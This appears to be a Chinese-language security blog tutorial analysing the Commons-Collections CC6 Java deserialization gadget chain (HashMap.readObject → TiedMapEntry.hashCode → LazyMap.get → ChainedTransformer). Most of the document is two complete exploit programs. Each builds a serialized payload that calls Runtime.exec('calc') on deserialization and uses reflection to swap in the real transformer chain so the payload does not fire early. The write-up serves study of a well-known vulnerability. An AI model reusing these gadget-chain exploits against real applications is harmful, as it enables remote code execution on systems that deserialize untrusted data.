Commons-Collections 篇 --CC6
CC6
环境
jdk8u71之后,AnnotationInvocationHandler.readObject 的写法改变,导致 CC1 链用不了
也就是导致AnnotationInvocationHandler.readObjectAnnotationInvocationHandler.invoke.memberValues.get
不能用了
cc6和cc1类似,但是cc6不受jdk版本影响
所以现在的目的就是要找一个替代
后面LazyMap.get.ChainedTransformer.transform与CC1一样
走的是HashMap.readObjexct———->TiedMapEntry.hashCode————->LazyMap,get()
分析
漏洞分析
上面提到的流程和cc1有相同的地方,先把代码写出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37public class CC6Test { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); // map.put("value", "12"); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); //构造 } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
主要是TiedMapEntry.hashCode调用了get
进到TiedMapEntry看看


hashCode调用了getValue,而getValue方法返回的是get()
看TiedMapEntry的构造
1
2
3
4
5public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; }根据构造写测试链
1
2
3
4
5
6
7TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> map2= new HashMap<>(); map2.put(tiedMapEntry, "bbb"); //不能直接序列化反序列化,需要先构造一个TiedMapEntry //因为这里有put,(前面的urlDNS链说过这个问题) serialize(map2); //仅仅测试
发现序列化的时候就弹出(正常是反序列化的时候弹)
按照URLDNS的思路修改上面的代码
目前来看是:
1
tiedMapEntry-------lazyMap---------chainedTransformer--------transformersput只要不触发,所以改这四个哪一个都行(利用反射改值)
eg:(改chainedTransformer)
1
2
3
4Class c =LazyMap.class; Field factoryFiled = c.getDeclaredField("factory"); factoryFiled.setAccessible(true); factoryFiled.set(lazyMap,chainedTransformer);
也就是说先给put一个正常的Transformer(ConstantTransformer)
ConstantTransformer(1).transform() 不会执行命令,只会返回 1后面序列化的时候改值 将
lazyMap对象中的factory字段的值,替换为chainedTransformer对象但是序列化不执行,反序列化也没执行????
由于put的时候已经将hashcode消耗掉了
1
2
3
4
5
6
7
8
9LazyMap.get("aaa"): 如果 map 里没有 key "aaa": 调用 factory.transform("aaa") 并把结果 put 进去 如果 lazyMap 中 “aaa” 已经存在,则: 再次访问时 不会 调用 transformer(不会触发链) 如果 lazyMap 中 “aaa” 不存在,则: 再次访问时 必须 调用 transformer(触发链)put的时候,在hashcode里面已经存在了一个key(aaa),在反序列化的时候还是那个key(aaa)
所以现在就要在put之后把key删除
1
lazyMap.remove("aaa");
漏洞构造
结合上面所说构造exp
删除ChainedTransformer的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC6Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
// map.put("value", "12");
//为了避免在构造阶段提前触发链子,利用new ConstantTransformer(1)先将一个值传给put,到下一步再修改
//ConstantTransformer(1).transform() 不会执行命令,只会返回 1
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
//构造(cc6不同cc1)
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2= new HashMap<>();
map2.put(tiedMapEntry, "bbb");
//删除写入的key,以保证可以反序列化执行命令
lazyMap.remove("aaa");
//不能直接序列化反序列化,需要先构造一个TiedMapEntry
//因为这里有put,(前面的urlDNS链说过这个问题)
Class c =LazyMap.class;
Field factoryFiled = c.getDeclaredField("factory");
factoryFiled.setAccessible(true);
//将 `lazyMap` 对象中的 `factory` 字段的值,替换为`chainedTransformer` 对象
factoryFiled.set(lazyMap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}删除Transformer的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
//伪造transformers为 ConstantTransformer(1)
// ConstantTransformer(1)不会执行代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
//将伪造的替换成真的
Transformer[] real = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//构造TiedMapEntry的触发点
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2= new HashMap<>();
map2.put(tiedMapEntry, "bbb");
//删除写入的key,以保证可以反序列化执行命令
lazyMap.remove("aaa");
//不能直接序列化反序列化,需要先构造一个TiedMapEntry
//因为这里有put,(前面的urlDNS链说过这个问题)
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
// 替换假链为真链
f.set(chainedTransformer, real);
//序列化&反序列化
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}总结流程
- HashMap.readObject()
- 计算 key 的 hash
- 调用 entry.hashCode()
- entry.getValue()
- LazyMap.get()
- transformer.transform()
- 恶意链执行


依旧引用 bxhhf的文章:cc6